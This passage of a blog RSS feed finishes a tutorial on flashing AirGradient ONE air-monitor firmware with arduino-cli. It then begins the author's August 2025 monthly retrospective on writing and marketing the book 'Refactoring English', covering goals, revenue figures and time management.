&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">AIRGRADIENT_PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;/dev/ttyACM0&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="make-device-path-writeable">Make device path writeable&lt;/h2>
&lt;p>Next, I ensure that I can write to the AirGradient file path:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo chmod a+rw &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">AIRGRADIENT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The AirGradient path should now have these permissions:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls -l &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">AIRGRADIENT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>crw-rw-rw- &lt;span style="color:#3677a9">1&lt;/span> root dialout 166, &lt;span style="color:#3677a9">0&lt;/span> Aug &lt;span style="color:#3677a9">10&lt;/span> 10:34 /dev/ttyACM0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^^^^^^^^
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I also add myself to the &lt;code>dialout&lt;/code> group so I can write to the path:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo adduser &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>whoami&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> dialout
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="get-airgradient-source">Get AirGradient source&lt;/h2>
&lt;p>Next, I check the &lt;a href="https://www.airgradient.com/documentation/factory/">AirGradient factory flashing page&lt;/a> to find out the latest production release.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Current production release, as of this writing.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">AIRGRADIENT_RELEASE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;3.3.8&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-warning">
 &lt;strong>Warning&lt;/strong>: The latest version on AirGradient&amp;rsquo;s website does not match the latest release tag on &lt;a href="https://github.com/airgradienthq/arduino/releases/tag/3.3.9">AirGradient&amp;rsquo;s GitHub repo&lt;/a>. When I tested 3.3.9, both of my devices failed to measure CO2 and temperature, so I&amp;rsquo;m not sure if 3.3.9 is a known-buggy release.
&lt;/div>

&lt;p>With the version number in hand, I grab the AirGradient source code from AirGradient&amp;rsquo;s GitHub repo:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git clone --recurse-submodules &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --branch &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">AIRGRADIENT_RELEASE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --depth &lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://github.com/airgradienthq/arduino.git &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ~/airgradient-one
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="flash-firmware-onto-airgradient-one-device">Flash firmware onto AirGradient ONE device&lt;/h2>
&lt;p>Finally, it&amp;rsquo;s time to flash the software to my device:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> ~/airgradient-one &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> arduino-cli compile &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --verbose &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --fqbn esp32:esp32:esp32c3:CDCOnBoot=cdc,PartitionScheme=min_spiffs,DebugLevel=info &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --library . &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --port &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">AIRGRADIENT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --verify &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --upload &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> examples/OneOpenAir/OneOpenAir.ino
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: To erase persistent data on the AirGradient ONE device (i.e., a hard reset, including configuration data), add &lt;code>,EraseFlash=all&lt;/code> to the end of the &lt;code>--fqbn&lt;/code> flag.
&lt;/div>

&lt;p>If flashing was successful, I see my device reboot and this output at the end of the process:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Wrote 1753792 bytes (967231 compressed) at 0x00010000 in 14.7 seconds (effective 952.3 kbit/s)...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hash of data verified.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Leaving...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hard resetting via RTS pin...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="optional-view-serial-log-output">Optional: View serial log output&lt;/h2>
&lt;p>While my AirGradient is connected to my computer, I can view its log output through the serial port by using the &lt;code>arduino-cli monitor&lt;/code> command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ arduino-cli monitor --port &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">AIRGRADIENT_PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Using default monitor configuration &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> board: esp32:esp32:heltec_wifi_kit_32_V3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Monitor port settings:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">baudrate&lt;/span>=&lt;span style="color:#3677a9">9600&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">bits&lt;/span>=&lt;span style="color:#3677a9">8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">dtr&lt;/span>=on
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">parity&lt;/span>=none
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">rts&lt;/span>=on
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">stop_bits&lt;/span>=&lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connecting to /dev/ttyACM0. Press CTRL-C to exit.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[1] Standard Particle PM 2.5 = 7.00 ug/m3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[1] Particle Count 0.3 = 1298.5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[1] Particle Count 0.5 = 383.5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[1] Particle Count 1.0 = 39.7
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[1] Particle Count 2.5 = 2.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[1] Particle Count 5.0 = 2.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[1] Particle Count &lt;span style="color:#40ffff">10&lt;/span> = 0.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="alternative-nix-flake">Alternative: Nix flake&lt;/h2>
&lt;p>If you&amp;rsquo;re a Nix nerd, you might want to do this the Nix way. I&amp;rsquo;ve created a Nix flake to automate all the above steps:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/airgradient-arduino/blob/6c22d4d5f617d13492a573d5f74541328af89550/flake.nix">My AirGradient ONE dev Nix flake&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>When I want to flash my repo, I just run:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix run .#flash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And when I want to view serial output, I run:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix run .#monitor
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;m not sure how well my Nix flake works across systems, so you&amp;rsquo;ll probably have to tinker a little bit to get it to work for your system.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>I hope these instructions make it easier for you to flash your AirGradient ONE device and customize your firmware as you see fit.&lt;/p></content:encoded></item><item><title>Refactoring English: Month 8</title><link>https://mtlynch.io/retrospectives/2025/08/</link><pubDate>Wed, 13 Aug 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/08/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I find that not every reader who purchases early access to my book wants to give me feedback about rough drafts.&lt;/li>
&lt;li>I figure out where all my time is going and think of ways to minimize time drains.&lt;/li>
&lt;li>I spend 10 hours reimplementing a web app from scratch that originally took me 300 hours to build.&lt;/li>
&lt;li>I continue to learn functional programming with Gleam, but I might be cheating.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I find that not every reader who purchases early access to my book wants to give me feedback about rough drafts.&lt;/li>
&lt;li>I figure out where all my time is going and think of ways to minimize time drains.&lt;/li>
&lt;li>I spend 10 hours reimplementing a web app from scratch that originally took me 300 hours to build.&lt;/li>
&lt;li>I continue to learn functional programming with Gleam, but I might be cheating.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="talk-to-at-least-10-readers-i-havent-spoken-to-before">Talk to at least 10 readers I haven&amp;rsquo;t spoken to before&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Emailed seven readers, got three replies, had one live conversation&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>Until I sat down to count, I thought I had a much worse response rate, but a lot of readers are responding. The issue is that I&amp;rsquo;m just not reaching out enough.&lt;/p>
&lt;p>I&amp;rsquo;m probably spending too long on each email trying to say something unique and conspicuously not AI-generated, but I go down a rabbit hole of reading the person&amp;rsquo;s blog for an hour.&lt;/p>
&lt;h3 id="clear-the-backlog-of-my-marketing-ideas">Clear the backlog of &lt;a href="https://mtlynch.io/retrospectives/2025/07/#how-can-i-improve-marketing-for-the-book">my marketing ideas&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Completed about 70% of what I intended to do&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I got through most of these tasks, though I still haven&amp;rsquo;t gotten around to publishing an interview I recorded a year ago, so I&amp;rsquo;d like to get that done.&lt;/p>
&lt;h3 id="publish-a-new-chapter-of-refactoring-english">Publish a new chapter of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/chapters/techniques-for-writing-emails/">&amp;ldquo;Underused Techniques for Effective Emails&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m happy with how this chapter turned out, but I knew sharing it on social media would be a gamble. It got &lt;a href="https://lobste.rs/s/tfauzy/underused_techniques_for_effective">a positive reception on Lobsters&lt;/a> but &lt;a href="https://news.ycombinator.com/item?id=44625726">no traction on Hacker News&lt;/a>.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2025&lt;/th>
 &lt;th>July 2025&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>6,574&lt;/td>
 &lt;td>8,061&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;1,487 (&amp;#43;23%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$597.24&lt;/td>
 &lt;td>$800.04&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$202.80 (&amp;#43;34%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from consulting&lt;/td>
 &lt;td>$242.45&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$242.45 (-100%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$887.94&lt;/td>
 &lt;td>$848.29&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$39.65 (-4%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>Visits to the website are up, which is good because I didn&amp;rsquo;t have any popular new posts. I see it as a positive sign that visits stay healthy just from people reading the existing sample excerpts.&lt;/p>
&lt;p>Total revenue is down slightly, but it&amp;rsquo;s just because I went from one paid consulting job to zero, so not much change there. I&amp;rsquo;m more excited to see that pre-orders are up by 34% compared to June.&lt;/p>
&lt;h2 id="what-if-everyone-just-likes-the-feeling-of-buying-a-book">What if everyone just likes the &lt;em>feeling&lt;/em> of buying a book?&lt;/h2>
&lt;p>As I reach out to readers and meet them on video calls, there&amp;rsquo;s one piece of feedback I&amp;rsquo;m hearing over and over: &amp;ldquo;I haven&amp;rsquo;t started reading it yet.&amp;rdquo;&lt;/p>
&lt;p>I hear this from people who purchased a few days ago and from people who had access to the book for months.&lt;/p>
&lt;p>My biggest fear is that the book is a &amp;ldquo;vitamin rather than a painkiller.&amp;rdquo; People see good writing as something that&amp;rsquo;s &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#time-management-matrix">important but not urgent&lt;/a>. They might read a book called, &amp;ldquo;How to Nail Your Next Coding Interview,&amp;rdquo; ahead of an upcoming interview, but it&amp;rsquo;s easy to defer indefinitely on improving writing.&lt;/p>
&lt;p>Part of my motivation in &lt;a href="https://mtlynch.io/my-6k-advance/">pre-selling the book&lt;/a> before writing it was to see if there were enough people willing to pay for the book. There were, and people continue to buy it, but I&amp;rsquo;m worried that might not be as predictive a signal as I thought.&lt;/p>
&lt;p>What if my book is the kind of thing people buy because it&amp;rsquo;s a way to feel like they&amp;rsquo;re investing in their writing without actually putting in time to do anything? What if it&amp;rsquo;s like Planet Fitness, the popular gym franchise that supposedly makes its money from people who sign up and then never use the gym?&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/08/planet-fitness.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/08/planet-fitness_hu_7a00c4943c17458a.webp 300w, https://mtlynch.io/retrospectives/2025/08/planet-fitness_hu_f4d629a1ed63f19c.webp 600w, https://mtlynch.io/retrospectives/2025/08/planet-fitness_hu_54fc94626a037996.webp 800w, https://mtlynch.io/retrospectives/2025/08/planet-fitness_hu_23e4a4c3da5534cd.webp 1200w, https://mtlynch.io/retrospectives/2025/08/planet-fitness.webp 2048w'
 src="https://mtlynch.io/retrospectives/2025/08/planet-fitness.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What if I&amp;rsquo;m writing the Planet Fitness of books?&lt;br>&lt;em>Photo &lt;a href="https://www.flickr.com/photos/39160147@N03/14561958486">by Mike Mozart&lt;/a>, used under &lt;a href="https://creativecommons.org/licenses/by/2.0/deed.en">CC-BY-2.0 license&lt;/a>&lt;/em>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Even if I can be the Planet Fitness of books, that&amp;rsquo;s not sustainable. For my book to be financially viable, I&amp;rsquo;m banking on word of mouth recommendations from people who read the book and like it. I hope popular bloggers cite my book as a resource that helped them. When a developer says they want to improve their writing, I want my book to be the obvious thing people recommend.&lt;/p>
&lt;h3 id="maybe-customers-dont-want-to-be-in-my-focus-group">Maybe customers don&amp;rsquo;t want to be in my focus group&lt;/h3>
&lt;p>Another reason I pre-sold the book was that I predicted that readers who pre-ordered would be especially enthusiastic about giving feedback during the writing process.&lt;/p>
&lt;p>From talking to friends who are also customers, most of them say that they pre-purchased to support the project and want to read the book when it&amp;rsquo;s done, but they don&amp;rsquo;t necessarily want to participate in a focus group or give feedback on a rough draft. They just want to read the finished version, and that&amp;rsquo;s totally fair.&lt;/p>
&lt;h3 id="i-should-just-keep-reaching-out-to-people-one-by-one">I should just keep reaching out to people one by one&lt;/h3>
&lt;p>What I&amp;rsquo;ve found from reaching out to customers one by one and arranging live calls is that &lt;em>some&lt;/em> readers are extremely enthusiastic and want to give feedback. I&amp;rsquo;ve only found a handful, but they&amp;rsquo;ve given me excellent feedback.&lt;/p>
&lt;p>The most effective way I&amp;rsquo;ve found enthusiastic readers is to email them one by one, so I&amp;rsquo;ll keep doing that.&lt;/p>
&lt;h2 id="where-does-my-time-go">Where does my time go?&lt;/h2>
&lt;p>&lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-manage-tinypilot-with-only-20-hours-per-week">Every&lt;/a> &lt;a href="https://mtlynch.io/retrospectives/2023/07/#where-does-my-time-go">year&lt;/a> &lt;a href="https://mtlynch.io/retrospectives/2024/09/#caring-for-a-newborn-takes-longer-than-two-hours-per-day">or so&lt;/a>, I look back at what I accomplished in the previous month and think, &amp;ldquo;Wait, why is that all I did last month? What was I doing instead?&amp;rdquo;&lt;/p>
&lt;p>July was that kind of month. I worked my regular, full-time hours, but I&amp;rsquo;m looking back at the month thinking, &amp;ldquo;How did I only finish one new chapter?&amp;rdquo;&lt;/p>
&lt;p>So, let me look back and think about where my time is going when I&amp;rsquo;m not working on my monthly goals.&lt;/p>
&lt;h3 id="overinvesting-in-chapters">Overinvesting in chapters&lt;/h3>
&lt;p>A few months ago, I realized I was &lt;a href="https://mtlynch.io/retrospectives/2025/06/#becoming-less-precious-about-my-writing">spending too much time wordsmithing my writing&lt;/a> rather than just getting chapters to readers when they were 80-90% perfect. My solution was to set time limits on each chapter and write whatever I could complete within my time budget.&lt;/p>
&lt;p>For the emails chapter I wrote in July, my budget was five hours, but I actually spent 17.5 hours on it. Part of that was intentional because I realized after I set the target that it would work well as a standalone excerpt on the website. It takes longer to write an excerpt and then fold it back into the book.&lt;/p>
&lt;p>But I&amp;rsquo;m also doing the same thing on the chapter I&amp;rsquo;m currently working on. I&amp;rsquo;m 6.5 hours into my 6-hour budget, and I probably have at least 3 hours of writing left before I&amp;rsquo;m comfortable sharing it with readers. I think this is both a problem of me polishing too much but also setting too low a budget for the first and most important chapter of the book.&lt;/p>
&lt;p>&lt;strong>Solution&lt;/strong>: Budget extra time for chapters that will have public excerpts, and constrain writing time to the defined limits.&lt;/p>
&lt;h3 id="extracurricular-blog-posts">Extracurricular blog posts&lt;/h3>
&lt;p>I like capturing what I learn soon after I learn it by writing blog posts, but I could spend 20 hours per week blogging and still not write all the blog posts I want to write.&lt;/p>
&lt;p>Some of my blog posts attract people who might read my book, whereas others likely won&amp;rsquo;t. I have to be deliberate about how much time to invest in the &amp;ldquo;just for fun&amp;rdquo; blog posts.&lt;/p>
&lt;p>Last month, I published a new blog post, &lt;a href="https://mtlynch.io/raidz1-to-raidz2/">&amp;ldquo;Migrating a ZFS pool from RAIDZ1 to RAIDZ2.&amp;rdquo;&lt;/a> I knew it wouldn&amp;rsquo;t help with the book, but I also thought it would be just a few hours of writing, and I&amp;rsquo;d be explaining something that I hadn&amp;rsquo;t seen anyone else explain well.&lt;/p>
&lt;p>In reality, the ZFS post took seven hours to write, so it was more investment than was sensible for a &amp;ldquo;just for fun&amp;rdquo; post, especially in a month where I didn&amp;rsquo;t have a more crowd-pleasing &lt;em>Refactoring English&lt;/em> chapter to share.&lt;/p>
&lt;p>&lt;strong>Solution&lt;/strong>: Be more selective about non-book blog posts, and prioritize posts that attract readers who would also read my book.&lt;/p>
&lt;h3 id="bad-social-media-habits">Bad social media habits&lt;/h3>
